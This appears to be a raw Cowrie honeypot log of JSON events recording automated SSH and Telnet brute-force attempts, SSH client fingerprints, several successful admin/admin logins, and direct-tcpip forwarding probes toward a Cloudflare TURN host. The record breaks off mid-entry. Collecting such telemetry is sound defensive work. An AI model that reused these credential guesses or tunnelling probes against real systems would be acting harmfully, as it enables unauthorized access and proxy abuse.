{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:56.913050Z","src_ip":"162.144.213.198","session":"3dd4961907df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40162,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad36dbbc76e","protocol":"ssh","message":"New connection: 103.98.149.87:40162 (159.203.135.109:22) [session: 6ad36dbbc76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:58.381453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:58.385468Z","src_ip":"103.98.149.87","session":"6ad36dbbc76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:58.607673Z","src_ip":"103.98.149.87","session":"6ad36dbbc76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:45:59.294083Z","src_ip":"103.98.149.87","session":"6ad36dbbc76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:00.519671Z","src_ip":"103.98.149.87","session":"6ad36dbbc76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":50802,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ba5851cd54","protocol":"ssh","message":"New connection: 193.37.70.224:50802 (10.17.0.5:22) [session: 94ba5851cd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:23.907894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:23.911920Z","src_ip":"193.37.70.224","session":"94ba5851cd54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:24.008230Z","src_ip":"193.37.70.224","session":"94ba5851cd54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bibika","message":"login attempt [root/bibika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:24.311604Z","src_ip":"193.37.70.224","session":"94ba5851cd54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:25.407300Z","src_ip":"193.37.70.224","session":"94ba5851cd54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34238,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e2ee882f89","protocol":"ssh","message":"New connection: 45.148.10.121:34238 (10.17.0.5:22) [session: e1e2ee882f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:46.811291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:46.815366Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:46.901018Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.160532Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.249463Z","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.336627Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.339600Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.431785Z","src_ip":"45.148.10.121","session":"e1e2ee882f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34252,"dst_ip":"10.17.0.5","dst_port":22,"session":"345d88d60735","protocol":"ssh","message":"New connection: 45.148.10.121:34252 (10.17.0.5:22) [session: 345d88d60735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.526942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.546044Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.614407Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:47.948039Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:48.035448Z","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:48.122359Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:48.124839Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:46:48.212518Z","src_ip":"45.148.10.121","session":"345d88d60735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"4006771ac03d","protocol":"telnet","message":"New connection: 107.6.151.170:56636 (159.203.135.109:23) [session: 4006771ac03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:34.158442Z"}
{"eventid":"cowrie.session.closed","duration":0.0043752193450927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:34.162688Z","src_ip":"107.6.151.170","session":"4006771ac03d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":49358,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa967a5af2a8","protocol":"ssh","message":"New connection: 192.169.249.148:49358 (159.203.135.109:22) [session: aa967a5af2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:35.771306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:35.775339Z","src_ip":"192.169.249.148","session":"aa967a5af2a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:35.844313Z","src_ip":"192.169.249.148","session":"aa967a5af2a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F1L#Tr0ng!P@ss","message":"login attempt [root/F1L#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:36.146608Z","src_ip":"192.169.249.148","session":"aa967a5af2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:47:37.215422Z","src_ip":"192.169.249.148","session":"aa967a5af2a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42082,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ddab05068d","protocol":"telnet","message":"New connection: 170.64.224.25:42082 (159.203.135.109:23) [session: 49ddab05068d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:22.832331Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22160cb506c","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: c22160cb506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:33.294018Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:33.739451Z","src_ip":"77.90.185.16","session":"c22160cb506c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.172.154","src_port":48262,"dst_ip":"159.203.135.109","dst_port":22,"session":"972e57cdfd8d","protocol":"ssh","message":"New connection: 43.155.172.154:48262 (159.203.135.109:22) [session: 972e57cdfd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:40.185127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:40.188364Z","src_ip":"43.155.172.154","session":"972e57cdfd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:40.388559Z","src_ip":"43.155.172.154","session":"972e57cdfd8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:40.793017Z","src_ip":"43.155.172.154","session":"972e57cdfd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:40.995344Z","src_ip":"43.155.172.154","session":"972e57cdfd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":54478,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0e0cd35d43","protocol":"ssh","message":"New connection: 130.12.180.51:54478 (159.203.135.109:22) [session: 7c0e0cd35d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:41.176522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:41.180575Z","src_ip":"130.12.180.51","session":"7c0e0cd35d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-